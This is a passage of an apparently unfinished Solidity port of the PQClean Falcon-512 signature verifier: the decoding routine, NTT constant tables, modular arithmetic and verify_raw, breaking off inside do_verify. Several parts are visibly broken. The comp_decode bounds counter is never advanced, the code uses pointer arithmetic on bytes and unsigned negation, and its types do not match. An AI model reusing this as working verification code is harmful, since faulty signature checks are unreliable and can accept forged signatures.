if ((acc & ((uint32(1) << acc_len) - 1)) != 0)
{
return 0;
}
return In_len;
}
////////////////////////////////////////
//
////////////////////////////////////////
function PQCLEAN_FALCON512_CLEAN_comp_decode(bytes memory /*int16_t**/ x, uint32 logn, bytes memory /*const void**/ In, uint32 max_In_len) public pure returns (uint32)
{
//const uint8 *buf;
uint32 buf_ndx;
uint32 n;
uint32 u;
uint32 v;
uint32 acc;
uint acc_len;
n = uint32(1) << logn;
//buf = In;
buf_ndx = 0;
acc = 0;
acc_len = 0;
v = 0;
for (u = 0; u < n; u++)
{
uint b;
uint s;
uint m;
if (v >= max_In_len)
{
return 0;
}
acc = (acc << 8) | uint32(uint8(In[buf_ndx++])); // acc = (acc << 8) | uint32(buf[v++]);
b = acc >> acc_len;
s = b & 128;
m = b & 127;
for (;;)
{
if (acc_len == 0)
{
if (v >= max_In_len)
{
return 0;
}
acc = (acc << 8) | uint32(uint8(In[buf_ndx++])); // acc = (acc << 8) | uint32(buf[v++]);
acc_len = 8;
}
acc_len--;
if (((acc >> acc_len) & 1) != 0)
{
break;
}
m += 128;
if (m > 2047)
{
return 0;
}
}
int16 val = int16((s!=0) ? -int(m) : int(m));
byte_array_int16_set(x,u,val); // x[u] = int16(s ? -int(m) : int(m));
}
return v;
}
//}
// ==== codec.c END =====================================================================================================================
// ==== vrfy_constants.h BEGIN =====================================================================================================================
// Useful reference:
// https://medium.com/@jeancvllr/solidity-tutorial-all-about-bytes-9d88fdb22676
// https://medium.com/@jeancvllr/solidity-tutorial-all-about-libraries-762e5a3692f9
//contract lib_falcon_vrfy_constants
//{
////////////////////////////////////////
// Constants for NTT.
// n = 2^logn (2 <= n <= 1024)
// phi = X^n + 1
// q = 12289
// q0i = -1/q mod 2^16
// R = 2^16 mod q
// R2 = 2^32 mod q
////////////////////////////////////////
uint32 constant Q = 12289;
uint32 constant Q0I = 12287;
uint32 constant R = 4091;
uint32 constant R2 = 10952;
////////////////////////////////////////
// Table for NTT, binary case:
// GMb[x] = R*(g^rev(x)) mod q
// where g = 7 (it is a 2048-th primitive root of 1 modulo q)
// and rev() is the bit-reversal function over 10 bits.
////////////////////////////////////////
uint16[1024] GMb =
[
4091, 7888, 11060, 11208, 6960, 4342, 6275, 9759,
1591, 6399, 9477, 5266, 586, 5825, 7538, 9710,
1134, 6407, 1711, 965, 7099, 7674, 3743, 6442,
10414, 8100, 1885, 1688, 1364, 10329, 10164, 9180,
12210, 6240, 997, 117, 4783, 4407, 1549, 7072,
2829, 6458, 4431, 8877, 7144, 2564, 5664, 4042,
12189, 432, 10751, 1237, 7610, 1534, 3983, 7863,
2181, 6308, 8720, 6570, 4843, 1690, 14, 3872,
5569, 9368, 12163, 2019, 7543, 2315, 4673, 7340,
1553, 1156, 8401, 11389, 1020, 2967, 10772, 7045,
3316, 11236, 5285, 11578, 10637, 10086, 9493, 6180,
9277, 6130, 3323, 883, 10469, 489, 1502, 2851,
11061, 9729, 2742, 12241, 4970, 10481, 10078, 1195,
730, 1762, 3854, 2030, 5892, 10922, 9020, 5274,
9179, 3604, 3782, 10206, 3180, 3467, 4668, 2446,
7613, 9386, 834, 7703, 6836, 3403, 5351, 12276,
3580, 1739, 10820, 9787, 10209, 4070, 12250, 8525,
10401, 2749, 7338, 10574, 6040, 943, 9330, 1477,
6865, 9668, 3585, 6633, 12145, 4063, 3684, 7680,
8188, 6902, 3533, 9807, 6090, 727, 10099, 7003,
6945, 1949, 9731, 10559, 6057, 378, 7871, 8763,
8901, 9229, 8846, 4551, 9589, 11664, 7630, 8821,
5680, 4956, 6251, 8388, 10156, 8723, 2341, 3159,
1467, 5460, 8553, 7783, 2649, 2320, 9036, 6188,
737, 3698, 4699, 5753, 9046, 3687, 16, 914,
5186, 10531, 4552, 1964, 3509, 8436, 7516, 5381,
10733, 3281, 7037, 1060, 2895, 7156, 8887, 5357,
6409, 8197, 2962, 6375, 5064, 6634, 5625, 278,
932, 10229, 8927, 7642, 351, 9298, 237, 5858,
7692, 3146, 12126, 7586, 2053, 11285, 3802, 5204,
4602, 1748, 11300, 340, 3711, 4614, 300, 10993,
5070, 10049, 11616, 12247, 7421, 10707, 5746, 5654,
3835, 5553, 1224, 8476, 9237, 3845, 250, 11209,
4225, 6326, 9680, 12254, 4136, 2778, 692, 8808,
6410, 6718, 10105, 10418, 3759, 7356, 11361, 8433,
6437, 3652, 6342, 8978, 5391, 2272, 6476, 7416,
8418, 10824, 11986, 5733, 876, 7030, 2167, 2436,
3442, 9217, 8206, 4858, 5964, 2746, 7178, 1434,
7389, 8879, 10661, 11457, 4220, 1432, 10832, 4328,
8557, 1867, 9454, 2416, 3816, 9076, 686, 5393,
2523, 4339, 6115, 619, 937, 2834, 7775, 3279,
2363, 7488, 6112, 5056, 824, 10204, 11690, 1113,
2727, 9848, 896, 2028, 5075, 2654, 10464, 7884,
12169, 5434, 3070, 6400, 9132, 11672, 12153, 4520,
1273, 9739, 11468, 9937, 10039, 9720, 2262, 9399,
11192, 315, 4511, 1158, 6061, 6751, 11865, 357,
7367, 4550, 983, 8534, 8352, 10126, 7530, 9253,
4367, 5221, 3999, 8777, 3161, 6990, 4130, 11652,
3374, 11477, 1753, 292, 8681, 2806, 10378, 12188,
5800, 11811, 3181, 1988, 1024, 9340, 2477, 10928,
4582, 6750, 3619, 5503, 5233, 2463, 8470, 7650,
7964, 6395, 1071, 1272, 3474, 11045, 3291, 11344,
8502, 9478, 9837, 1253, 1857, 6233, 4720, 11561,
6034, 9817, 3339, 1797, 2879, 6242, 5200, 2114,
7962, 9353, 11363, 5475, 6084, 9601, 4108, 7323,
10438, 9471, 1271, 408, 6911, 3079, 360, 8276,
11535, 9156, 9049, 11539, 850, 8617, 784, 7919,
8334, 12170, 1846, 10213, 12184, 7827, 11903, 5600,
9779, 1012, 721, 2784, 6676, 6552, 5348, 4424,
6816, 8405, 9959, 5150, 2356, 5552, 5267, 1333,
8801, 9661, 7308, 5788, 4910, 909, 11613, 4395,
8238, 6686, 4302, 3044, 2285, 12249, 1963, 9216,
4296, 11918, 695, 4371, 9793, 4884, 2411, 10230,
2650, 841, 3890, 10231, 7248, 8505, 11196, 6688,
4059, 6060, 3686, 4722, 11853, 5816, 7058, 6868,
11137, 7926, 4894, 12284, 4102, 3908, 3610, 6525,
7938, 7982, 11977, 6755, 537, 4562, 1623, 8227,
11453, 7544, 906, 11816, 9548, 10858, 9703, 2815,
11736, 6813, 6979, 819, 8903, 6271, 10843, 348,
7514, 8339, 6439, 694, 852, 5659, 2781, 3716,
11589, 3024, 1523, 8659, 4114, 10738, 3303, 5885,
2978, 7289, 11884, 9123, 9323, 11830, 98, 2526,
2116, 4131, 11407, 1844, 3645, 3916, 8133, 2224,
10871, 8092, 9651, 5989, 7140, 8480, 1670, 159,
10923, 4918, 128, 7312, 725, 9157, 5006, 6393,
3494, 6043, 10972, 6181, 11838, 3423, 10514, 7668,
3693, 6658, 6905, 11953, 10212, 11922, 9101, 8365,
5110, 45, 2400, 1921, 4377, 2720, 1695, 51,
2808, 650, 1896, 9997, 9971, 11980, 8098, 4833,
4135, 4257, 5838, 4765, 10985, 11532, 590, 12198,
482, 12173, 2006, 7064, 10018, 3912, 12016, 10519,
11362, 6954, 2210, 284, 5413, 6601, 3865, 10339,
11188, 6231, 517, 9564, 11281, 3863, 1210, 4604,
8160, 11447, 153, 7204, 5763, 5089, 9248, 12154,
11748, 1354, 6672, 179, 5532, 2646, 5941, 12185,
862, 3158, 477, 7279, 5678, 7914, 4254, 302,
2893, 10114, 6890, 9560, 9647, 11905, 4098, 9824,
10269, 1353, 10715, 5325, 6254, 3951, 1807, 6449,
5159, 1308, 8315, 3404, 1877, 1231, 112, 6398,
11724, 12272, 7286, 1459, 12274, 9896, 3456, 800,
1397, 10678, 103, 7420, 7976, 936, 764, 632,
7996, 8223, 8445, 7758, 10870, 9571, 2508, 1946,
6524, 10158, 1044, 4338, 2457, 3641, 1659, 4139,
4688, 9733, 11148, 3946, 2082, 5261, 2036, 11850,
7636, 12236, 5366, 2380, 1399, 7720, 2100, 3217,
10912, 8898, 7578, 11995, 2791, 1215, 3355, 2711,
2267, 2004, 8568, 10176, 3214, 2337, 1750, 4729,
4997, 7415, 6315, 12044, 4374, 7157, 4844, 211,
8003, 10159, 9290, 11481, 1735, 2336, 5793, 9875,
8192, 986, 7527, 1401, 870, 3615, 8465, 2756,
9770, 2034, 10168, 3264, 6132, 54, 2880, 4763,
11805, 3074, 8286, 9428, 4881, 6933, 1090, 10038,
2567, 708, 893, 6465, 4962, 10024, 2090, 5718,
10743, 780, 4733, 4623, 2134, 2087, 4802, 884,
5372, 5795, 5938, 4333, 6559, 7549, 5269, 10664,
4252, 3260, 5917, 10814, 5768, 9983, 8096, 7791,
6800, 7491, 6272, 1907, 10947, 6289, 11803, 6032,
11449, 1171, 9201, 7933, 2479, 7970, 11337, 7062,
8911, 6728, 6542, 8114, 8828, 6595, 3545, 4348,
4610, 2205, 6999, 8106, 5560, 10390, 9321, 2499,
2413, 7272, 6881, 10582, 9308, 9437, 3554, 3326,
5991, 11969, 3415, 12283, 9838, 12063, 4332, 7830,
11329, 6605, 12271, 2044, 11611, 7353, 11201, 11582,
3733, 8943, 9978, 1627, 7168, 3935, 5050, 2762,
7496, 10383, 755, 1654, 12053, 4952, 10134, 4394,
6592, 7898, 7497, 8904, 12029, 3581, 10748, 5674,
10358, 4901, 7414, 8771, 710, 6764, 8462, 7193,
5371, 7274, 11084, 290, 7864, 6827, 11822, 2509,
6578, 4026, 5807, 1458, 5721, 5762, 4178, 2105,
11621, 4852, 8897, 2856, 11510, 9264, 2520, 8776,
7011, 2647, 1898, 7039, 5950, 11163, 5488, 6277,
9182, 11456, 633, 10046, 11554, 5633, 9587, 2333,
7008, 7084, 5047, 7199, 9865, 8997, 569, 6390,
10845, 9679, 8268, 11472, 4203, 1997, 2, 9331,
162, 6182, 2000, 3649, 9792, 6363, 7557, 6187,
8510, 9935, 5536, 9019, 3706, 12009, 1452, 3067,
5494, 9692, 4865, 6019, 7106, 9610, 4588, 10165,
6261, 5887, 2652, 10172, 1580, 10379, 4638, 9949
];
////////////////////////////////////////
// Table for inverse NTT, binary case:
// iGMb[x] = R*((1/g)^rev(x)) mod q
// Since g = 7, 1/g = 8778 mod 12289.
////////////////////////////////////////
uint16[1024] iGMb =
[
4091, 4401, 1081, 1229, 2530, 6014, 7947, 5329,
2579, 4751, 6464, 11703, 7023, 2812, 5890, 10698,
3109, 2125, 1960, 10925, 10601, 10404, 4189, 1875,
5847, 8546, 4615, 5190, 11324, 10578, 5882, 11155,
8417, 12275, 10599, 7446, 5719, 3569, 5981, 10108,
4426, 8306, 10755, 4679, 11052, 1538, 11857, 100,
8247, 6625, 9725, 5145, 3412, 7858, 5831, 9460,
5217, 10740, 7882, 7506, 12172, 11292, 6049, 79,
13, 6938, 8886, 5453, 4586, 11455, 2903, 4676,
9843, 7621, 8822, 9109, 2083, 8507, 8685, 3110,
7015, 3269, 1367, 6397, 10259, 8435, 10527, 11559,
11094, 2211, 1808, 7319, 48, 9547, 2560, 1228,
9438, 10787, 11800, 1820, 11406, 8966, 6159, 3012,
6109, 2796, 2203, 1652, 711, 7004, 1053, 8973,
5244, 1517, 9322, 11269, 900, 3888, 11133, 10736,
4949, 7616, 9974, 4746, 10270, 126, 2921, 6720,
6635, 6543, 1582, 4868, 42, 673, 2240, 7219,
1296, 11989, 7675, 8578, 11949, 989, 10541, 7687,
7085, 8487, 1004, 10236, 4703, 163, 9143, 4597,
6431, 12052, 2991, 11938, 4647, 3362, 2060, 11357,
12011, 6664, 5655, 7225, 5914, 9327, 4092, 5880,
6932, 3402, 5133, 9394, 11229, 5252, 9008, 1556,
6908, 4773, 3853, 8780, 10325, 7737, 1758, 7103,
11375, 12273, 8602, 3243, 6536, 7590, 8591, 11552,
6101, 3253, 9969, 9640, 4506, 3736, 6829, 10822,
9130, 9948, 3566, 2133, 3901, 6038, 7333, 6609,
3468, 4659, 625, 2700, 7738, 3443, 3060, 3388,
3526, 4418, 11911, 6232, 1730, 2558, 10340, 5344,
5286, 2190, 11562, 6199, 2482, 8756, 5387, 4101,
4609, 8605, 8226, 144, 5656, 8704, 2621, 5424,
10812, 2959, 11346, 6249, 1715, 4951, 9540, 1888,
3764, 39, 8219, 2080, 2502, 1469, 10550, 8709,
5601, 1093, 3784, 5041, 2058, 8399, 11448, 9639,
2059, 9878, 7405, 2496, 7918, 11594, 371, 7993,
3073, 10326, 40, 10004, 9245, 7987, 5603, 4051,
7894, 676, 11380, 7379, 6501, 4981, 2628, 3488,
10956, 7022, 6737, 9933, 7139, 2330, 3884, 5473,
7865, 6941, 5737, 5613, 9505, 11568, 11277, 2510,
6689, 386, 4462, 105, 2076, 10443, 119, 3955,
4370, 11505, 3672, 11439, 750, 3240, 3133, 754,
4013, 11929, 9210, 5378, 11881, 11018, 2818, 1851,
4966, 8181, 2688, 6205, 6814, 926, 2936, 4327,
10175, 7089, 6047, 9410, 10492, 8950, 2472, 6255,
728, 7569, 6056, 10432, 11036, 2452, 2811, 3787,
945, 8998, 1244, 8815, 11017, 11218, 5894, 4325,
4639, 3819, 9826, 7056, 6786, 8670, 5539, 7707,
1361, 9812, 2949, 11265, 10301, 9108, 478, 6489,
101, 1911, 9483, 3608, 11997, 10536, 812, 8915,
637, 8159, 5299, 9128, 3512, 8290, 7068, 7922,
3036, 4759, 2163, 3937, 3755, 11306, 7739, 4922,
11932, 424, 5538, 6228, 11131, 7778, 11974, 1097,
2890, 10027, 2569, 2250, 2352, 821, 2550, 11016,
7769, 136, 617, 3157, 5889, 9219, 6855, 120,
4405, 1825, 9635, 7214, 10261, 11393, 2441, 9562,
11176, 599, 2085, 11465, 7233, 6177, 4801, 9926,
9010, 4514, 9455, 11352, 11670, 6174, 7950, 9766,
6896, 11603, 3213, 8473, 9873, 2835, 10422, 3732,
7961, 1457, 10857, 8069, 832, 1628, 3410, 4900,
10855, 5111, 9543, 6325, 7431, 4083, 3072, 8847,
9853, 10122, 5259, 11413, 6556, 303, 1465, 3871,
4873, 5813, 10017, 6898, 3311, 5947, 8637, 5852,
3856, 928, 4933, 8530, 1871, 2184, 5571, 5879,
3481, 11597, 9511, 8153, 35, 2609, 5963, 8064,
1080, 12039, 8444, 3052, 3813, 11065, 6736, 8454,
2340, 7651, 1910, 10709, 2117, 9637, 6402, 6028,
2124, 7701, 2679, 5183, 6270, 7424, 2597, 6795,
9222, 10837, 280, 8583, 3270, 6753, 2354, 3779,
6102, 4732, 5926, 2497, 8640, 10289, 6107, 12127,
2958, 12287, 10292, 8086, 817, 4021, 2610, 1444,
5899, 11720, 3292, 2424, 5090, 7242, 5205, 5281,
9956, 2702, 6656, 735, 2243, 11656, 833, 3107,
6012, 6801, 1126, 6339, 5250, 10391, 9642, 5278,
3513, 9769, 3025, 779, 9433, 3392, 7437, 668,
10184, 8111, 6527, 6568, 10831, 6482, 8263, 5711,
9780, 467, 5462, 4425, 11999, 1205, 5015, 6918,
5096, 3827, 5525, 11579, 3518, 4875, 7388, 1931,
6615, 1541, 8708, 260, 3385, 4792, 4391, 5697,
7895, 2155, 7337, 236, 10635, 11534, 1906, 4793,
9527, 7239, 8354, 5121, 10662, 2311, 3346, 8556,
707, 1088, 4936, 678, 10245, 18, 5684, 960,
4459, 7957, 226, 2451, 6, 8874, 320, 6298,
8963, 8735, 2852, 2981, 1707, 5408, 5017, 9876,
9790, 2968, 1899, 6729, 4183, 5290, 10084, 7679,
7941, 8744, 5694, 3461, 4175, 5747, 5561, 3378,
5227, 952, 4319, 9810, 4356, 3088, 11118, 840,
6257, 486, 6000, 1342, 10382, 6017, 4798, 5489,
4498, 4193, 2306, 6521, 1475, 6372, 9029, 8037,
1625, 7020, 4740, 5730, 7956, 6351, 6494, 6917,
11405, 7487, 10202, 10155, 7666, 7556, 11509, 1546,
6571, 10199, 2265, 7327, 5824, 11396, 11581, 9722,
2251, 11199, 5356, 7408, 2861, 4003, 9215, 484,
7526, 9409, 12235, 6157, 9025, 2121, 10255, 2519,
9533, 3824, 8674, 11419, 10888, 4762, 11303, 4097,
2414, 6496, 9953, 10554, 808, 2999, 2130, 4286,
12078, 7445, 5132, 7915, 245, 5974, 4874, 7292,
7560, 10539, 9952, 9075, 2113, 3721, 10285, 10022,
9578, 8934, 11074, 9498, 294, 4711, 3391, 1377,
9072, 10189, 4569, 10890, 9909, 6923, 53, 4653,
439, 10253, 7028, 10207, 8343, 1141, 2556, 7601,
8150, 10630, 8648, 9832, 7951, 11245, 2131, 5765,
10343, 9781, 2718, 1419, 4531, 3844, 4066, 4293,
11657, 11525, 11353, 4313, 4869, 12186, 1611, 10892,
11489, 8833, 2393, 15, 10830, 5003, 17, 565,
5891, 12177, 11058, 10412, 8885, 3974, 10981, 7130,
5840, 10482, 8338, 6035, 6964, 1574, 10936, 2020,
2465, 8191, 384, 2642, 2729, 5399, 2175, 9396,
11987, 8035, 4375, 6611, 5010, 11812, 9131, 11427,
104, 6348, 9643, 6757, 12110, 5617, 10935, 541,
135, 3041, 7200, 6526, 5085, 12136, 842, 4129,
7685, 11079, 8426, 1008, 2725, 11772, 6058, 1101,
1950, 8424, 5688, 6876, 12005, 10079, 5335, 927,
1770, 273, 8377, 2271, 5225, 10283, 116, 11807,
91, 11699, 757, 1304, 7524, 6451, 8032, 8154,
7456, 4191, 309, 2318, 2292, 10393, 11639, 9481,
12238, 10594, 9569, 7912, 10368, 9889, 12244, 7179,
3924, 3188, 367, 2077, 336, 5384, 5631, 8596,
4621, 1775, 8866, 451, 6108, 1317, 6246, 8795,
5896, 7283, 3132, 11564, 4977, 12161, 7371, 1366,
12130, 10619, 3809, 5149, 6300, 2638, 4197, 1418,
10065, 4156, 8373, 8644, 10445, 882, 8158, 10173,
9763, 12191, 459, 2966, 3166, 405, 5000, 9311,
6404, 8986, 1551, 8175, 3630, 10766, 9265, 700,
8573, 9508, 6630, 11437, 11595, 5850, 3950, 4775,
11941, 1446, 6018, 3386, 11470, 5310, 5476, 553,
9474, 2586, 1431, 2741, 473, 11383, 4745, 836,
4062, 10666, 7727, 11752, 5534, 312, 4307, 4351,
5764, 8679, 8381, 8187, 5, 7395, 4363, 1152,
5421, 5231, 6473, 436, 7567, 8603, 6229, 8230
];
//}
// ==== vrfy_constants.h END =====================================================================================================================
// ==== vrfy.c BEGIN =====================================================================================================================
//import "lib_falcon_common.sol";
//import "lib_falcon_vrfy_constants.sol";
//import GMb from "lib_falcon_vrfy_constants.sol";
//library lib_falcon_vrfy
//{
//uint32 Q = 1; // TODO: Where do I get Q
//uint32 Q0I = 1; // TODO: Where do I get Q0I
//uint32 R = 1; // TODO: Where do I get R
//uint32 R2 = 1; // TODO: Where do I get R2
//uint32[2] GMb = [1,2]; // TODO: Where do I get GMb
//uint32[2] iGMb = [1,2]; // TODO: Where do I get iGMb
////////////////////////////////////////
// Addition modulo q. Operands must be in the 0..q-1 range.
////////////////////////////////////////
function mq_add(uint32 x, uint32 y) private pure returns (uint32 result)
{
uint32 d;
d = x + y - Q;
d += Q & -(d >> 31);
result = d;
}
////////////////////////////////////////
// Subtraction modulo q. Operands must be in the 0..q-1 range.
////////////////////////////////////////
function mq_sub(uint32 x, uint32 y) private pure returns (uint32 result)
{
// As in mq_add(), we use a conditional addition to ensure the result is in the 0..q-1 range.
uint32 d;
d = x - y;
d += Q & -(d >> 31);
return d;
}
////////////////////////////////////////
// Division by 2 modulo q. Operand must be in the 0..q-1 range.
////////////////////////////////////////
function mq_rshift1(uint32 x) private pure returns (uint32 result)
{
x += Q & -(x & 1);
return (x >> 1);
}
////////////////////////////////////////
// Montgomery multiplication modulo q. If we set R = 2^16 mod q, then this function computes: x * y / R mod q
// Operands must be in the 0..q-1 range.
////////////////////////////////////////
function mq_montymul(uint32 x, uint32 y) private pure returns (uint32 result)
{
uint32 z;
uint32 w;
z = x * y;
w = ((z * Q0I) & 0xFFFF) * Q;
z = (z + w) >> 16;
z -= Q;
z += Q & -(z >> 31);
return z;
}
////////////////////////////////////////
// Montgomery squaring (computes (x^2)/R).
////////////////////////////////////////
function mq_montysqr(uint32 x) private pure returns (uint32 result)
{
return mq_montymul(x, x);
}
////////////////////////////////////////
// Divide x by y modulo q = 12289.
////////////////////////////////////////
function mq_div_12289(uint32 x, uint32 y) private pure returns (uint32 result)
{
/*$off*/
uint32 y0;
uint32 y1;
uint32 y2;
uint32 y3;
uint32 y4;
uint32 y5;
uint32 y6;
uint32 y7;
uint32 y8;
uint32 y9;
uint32 y10;
uint32 y11;
uint32 y12;
uint32 y13;
uint32 y14;
uint32 y15;
uint32 y16;
uint32 y17;
uint32 y18;
/*$on*/
y0 = mq_montymul(y, R2);
y1 = mq_montysqr(y0);
y2 = mq_montymul(y1, y0);
y3 = mq_montymul(y2, y1);
y4 = mq_montysqr(y3);
y5 = mq_montysqr(y4);
y6 = mq_montysqr(y5);
y7 = mq_montysqr(y6);
y8 = mq_montysqr(y7);
y9 = mq_montymul(y8, y2);
y10 = mq_montymul(y9, y8);
y11 = mq_montysqr(y10);
y12 = mq_montysqr(y11);
y13 = mq_montymul(y12, y9);
y14 = mq_montysqr(y13);
y15 = mq_montysqr(y14);
y16 = mq_montymul(y15, y10);
y17 = mq_montysqr(y16);
y18 = mq_montymul(y17, y0);
return mq_montymul(y18, x);
}
////////////////////////////////////////
// Compute NTT on a ring element.
////////////////////////////////////////
function mq_NTT(bytes memory /*uint16**/ a, uint32 logn) private pure
{
uint32 n;
uint32 t;
uint32 m;
n = uint32(1) << logn;
t = n;
for (m = 1; m < n; m <<= 1)
{
uint32 ht;
uint32 i;
uint32 j1;
ht = t >> 1;
j1 = 0;
for (i = 0; i < m; i++)
{
uint32 j;
uint32 j2;
uint32 s;
s = GMb[m + i];
j2 = j1 + ht;
for (j = j1; j < j2; j++)
{
uint32 u;
uint32 v;
uint32 tmp32;
uint16 tmp16;
u = byte_array_uint16_get(a,j); // u = a[j];
tmp32 = byte_array_uint16_get(a,j + ht); // tmp = a[j + ht];
v = mq_montymul(tmp32, s); // v = mq_montymul(a[j + ht], s);
tmp16 = uint16(mq_add(u, v));
byte_array_uint16_set(a,j ,tmp16); // a[j] = uint16(mq_add(u, v));
tmp16 = uint16(mq_sub(u, v));
byte_array_uint16_set(a,j+ht,tmp16); // a[j + ht] = uint16(mq_sub(u, v));
}
j1 += t;
}
t = ht;
}
}
////////////////////////////////////////
// Compute the inverse NTT on a ring element, binary case.
////////////////////////////////////////
function mq_iNTT(bytes memory /*uint16**/ a, uint32 logn) private pure
{
uint32 n;
uint32 t;
uint32 m;
uint32 ni;
n = uint32(1) << logn;
t = 1;
m = n;
while (m > 1)
{
uint32 hm;
uint32 dt;
uint32 i;
uint32 j1;
hm = m >> 1;
dt = t << 1;
j1 = 0;
for (i = 0; i < hm; i++)
{
uint32 j;
uint32 j2;
uint32 s;
j2 = j1 + t;
s = iGMb[hm + i];
for (j = j1; j < j2; j++)
{
uint32 u;
uint32 v;
uint32 w;
uint16 tmp16;
u = byte_array_uint16_get(a,j ); // u = a[j];
v = byte_array_uint16_get(a,j+t); // v = a[j + t];
tmp16 = uint16(mq_add(u, v));
byte_array_uint16_set(a,j,tmp16); // a[j] = uint16(mq_add(u, v));
w = mq_sub(u, v);
tmp16 = uint16(mq_montymul(w, s));
byte_array_uint16_set(a,j+t,tmp16); // a[j + t] = uint16(mq_montymul(w, s));
}
j1 += dt;
}
t = dt;
m = hm;
}
ni = R;
for (m = n; m > 1; m >>= 1)
{
ni = mq_rshift1(ni);
}
for (m = 0; m < n; m++)
{
uint16 tmp1 = byte_array_uint16_get(a, m); // a[m];
uint16 tmp2 = uint16(mq_montymul(tmp1, ni));
byte_array_uint16_set(a,m,tmp2); // a[j + t] = uint16(mq_montymul(w, s));
}
}
////////////////////////////////////////
// Convert a polynomial (mod q) to Montgomery representation.
////////////////////////////////////////
function mq_poly_tomonty(bytes memory /*uint16**/ f, uint32 logn) private pure
{
uint32 u;
uint32 n;
n = uint32(1) << logn;
for (u = 0; u < n; u++)
{
uint16 tmp1 = byte_array_uint16_get(f,u); // f[u];
uint16 tmp2 = uint16(mq_montymul(tmp1, R2));
byte_array_uint16_set(f,u,tmp2); // f[u] = uint16(mq_montymul(f[u], R2));
}
}
////////////////////////////////////////
// Multiply two polynomials together (NTT representation, and using
// a Montgomery multiplication). Result f*g is written over f.
////////////////////////////////////////
function mq_poly_montymul_ntt(bytes memory /*uint16**/ f, bytes memory /*uint16**/ g, uint32 logn) private pure
{
uint32 u;
uint32 n;
n = uint32(1) << logn;
for (u = 0; u < n; u++)
{
uint16 tmp1 = byte_array_uint16_get(f,u);
uint16 tmp2 = byte_array_uint16_get(g,u);
uint16 tmp16 = uint16(mq_montymul(tmp1, tmp2));
byte_array_uint16_set(f,u,tmp16); // f[u] = uint16(mq_montymul(f[u], g[u]));
}
}
////////////////////////////////////////
// Subtract polynomial g from polynomial f.
////////////////////////////////////////
function mq_poly_sub(bytes memory /*uint16**/ f, bytes memory /*uint16**/ g, uint32 logn) private pure
{
uint32 u;
uint32 n;
n = uint32(1) << logn;
for (u = 0; u < n; u++)
{
uint16 tmp1 = byte_array_uint16_get(f,u);
uint16 tmp2 = byte_array_uint16_get(g,u);
uint16 tmp16 = uint16(mq_sub(tmp1, tmp2));
byte_array_uint16_set(f,u,tmp16); // f[u] = uint16(mq_sub(f[u], g[u]));
}
}
/* ===================================================================== */
////////////////////////////////////////
//
////////////////////////////////////////
function PQCLEAN_FALCON512_CLEAN_to_ntt_monty(bytes memory /*uint16**/ h, uint32 logn) public pure
{
//fprintf(stdout, "INFO: PQCLEAN_FALCON512_CLEAN_to_ntt_monty() ENTRY\n");
mq_NTT(h, logn);
mq_poly_tomonty(h, logn);
}
////////////////////////////////////////
//
////////////////////////////////////////
function PQCLEAN_FALCON512_CLEAN_verify_raw(bytes memory /*uint16**/ c0,
bytes memory /*int16_t **/ s2,
bytes memory /*uint16**/ h,
uint32 logn,
bytes memory workingStorage) public pure returns (int result)
{
uint32 u;
uint32 n;
bytes memory /* uint16* */ tt;
//fprintf(stdout, "INFO: PQCLEAN_FALCON512_CLEAN_verify_raw() ENTRY\n");
n = uint32(1) << logn;
tt = workingStorage; // tt = (uint16 *)workingStorage;
// Reduce s2 elements modulo q ([0..q-1] range).
for (u = 0; u < n; u++)
{
uint32 w;
uint16 tmp1 = byte_array_uint16_get(s2,u); // w = uint32(s2[u]);
w = uint32(tmp1);
w += Q & -(w >> 31);
byte_array_uint16_set(tt,u,uint16(w)); // tt[u] = uint16(w);
}
// Compute -s1 = s2*h - c0 mod phi mod q (in tt[]).
mq_NTT(tt, logn);
mq_poly_montymul_ntt(tt, h, logn);
mq_iNTT(tt, logn);
mq_poly_sub(tt, c0, logn);
// Normalize -s1 elements into the [-q/2..q/2] range.
for (u = 0; u < n; u++)
{
int32 w;
uint16 tmp1 = byte_array_uint16_get(tt,u); // w = int32(tt[u]);
w = int32(tmp1);
w -= int32(Q & -(((Q >> 1) - uint32(w)) >> 31));
byte_array_int16_set(tt,u,int16(w)); // tt[u] = int16(w); // ((int16 *)tt)[u] = (int16)w;
}
// Signature is valid if and only if the aggregate (-s1,s2) vector is short enough.
int rc = PQCLEAN_FALCON512_CLEAN_is_short(tt, s2, logn);
//fprintf(stdout, "INFO: PQCLEAN_FALCON512_CLEAN_verify_raw() EXIT\n");
return rc;
}
//}
// ==== vrfy.c END =====================================================================================================================
// ==== pqclean.c BEGIN =====================================================================================================================
// https://manojpramesh.github.io/solidity-cheatsheet/
uint16 constant PQCLEAN_FALCON512_CLEAN_CRYPTO_SECRETKEYBYTES = 1281;
uint16 constant PQCLEAN_FALCON512_CLEAN_CRYPTO_PUBLICKEYBYTES = 897;
uint16 constant PQCLEAN_FALCON512_CLEAN_CRYPTO_SIGNATUREBYTES = 690;
//import "falcon_sha3_c.sol";
//import * as falcon_sha3 from "lib_falcon_sha3_c.sol";
//import "falcon_sha3_c.sol" as falcon_sha3;
//library lib_falcon_pqclean
//{
////////////////////////////////////////
//
////////////////////////////////////////
uint16 constant NONCELEN = 40;
// ====================================================================
// Implementation
// ====================================================================
////////////////////////////////////////
//
// static int do_verify(const uint8_t* nonce,
// const uint8_t* sigbuf,
// size_t sigbuflen,
// const uint8_t* m,
// size_t mlen,
// const uint8_t* pk)
////////////////////////////////////////
function do_verify ( bytes memory /* uint8_t* */ nonce,
bytes memory /* uint8_t* */ sigbuf,
uint16 sigbuflen,
bytes memory /* uint8_t* */ m,
uint16 mlen,
bytes memory /* uint8_t* */ pk ) public pure returns (int16)
{
uint8[2*512] memory workingStorage; // array of 1024 bytes
uint16[512] memory h;
uint16[512] memory hm;
int16[512] memory sig;
uint16 sz1;
uint16 sz2;
int16 rc;
//fprintf(stdout, "INFO: do_verify() ENTRY\n");
///////////////////////////////////////////////
// Validate params
if (uint8(pk[0]) != (0x00 + 9))
{
return -3;
}
if (sigbuflen == 0)
{
return -5;
}
///////////////////////////////////////////////
// Decode public key.
//fprintf(stdout, "INFO: do_verify() calling PQCLEAN_FALCON512_CLEAN_modq_decode()\n");
sz1 = PQCLEAN_FALCON512_CLEAN_modq_decode( h, 9, pk + 1, PQCLEAN_FALCON512_CLEAN_CRYPTO_PUBLICKEYBYTES - 1);
if (sz1 != PQCLEAN_FALCON512_CLEAN_CRYPTO_PUBLICKEYBYTES - 1)
{
return -1;
}
//fprintf(stdout, "INFO: do_verify() calling PQCLEAN_FALCON512_CLEAN_to_ntt_monty()\n");
PQCLEAN_FALCON512_CLEAN_to_ntt_monty(h, 9);
///////////////////////////////////////////////
// Decode signature.
//fprintf(stdout, "INFO: do_verify() calling PQCLEAN_FALCON512_CLEAN_comp_decode()\n");
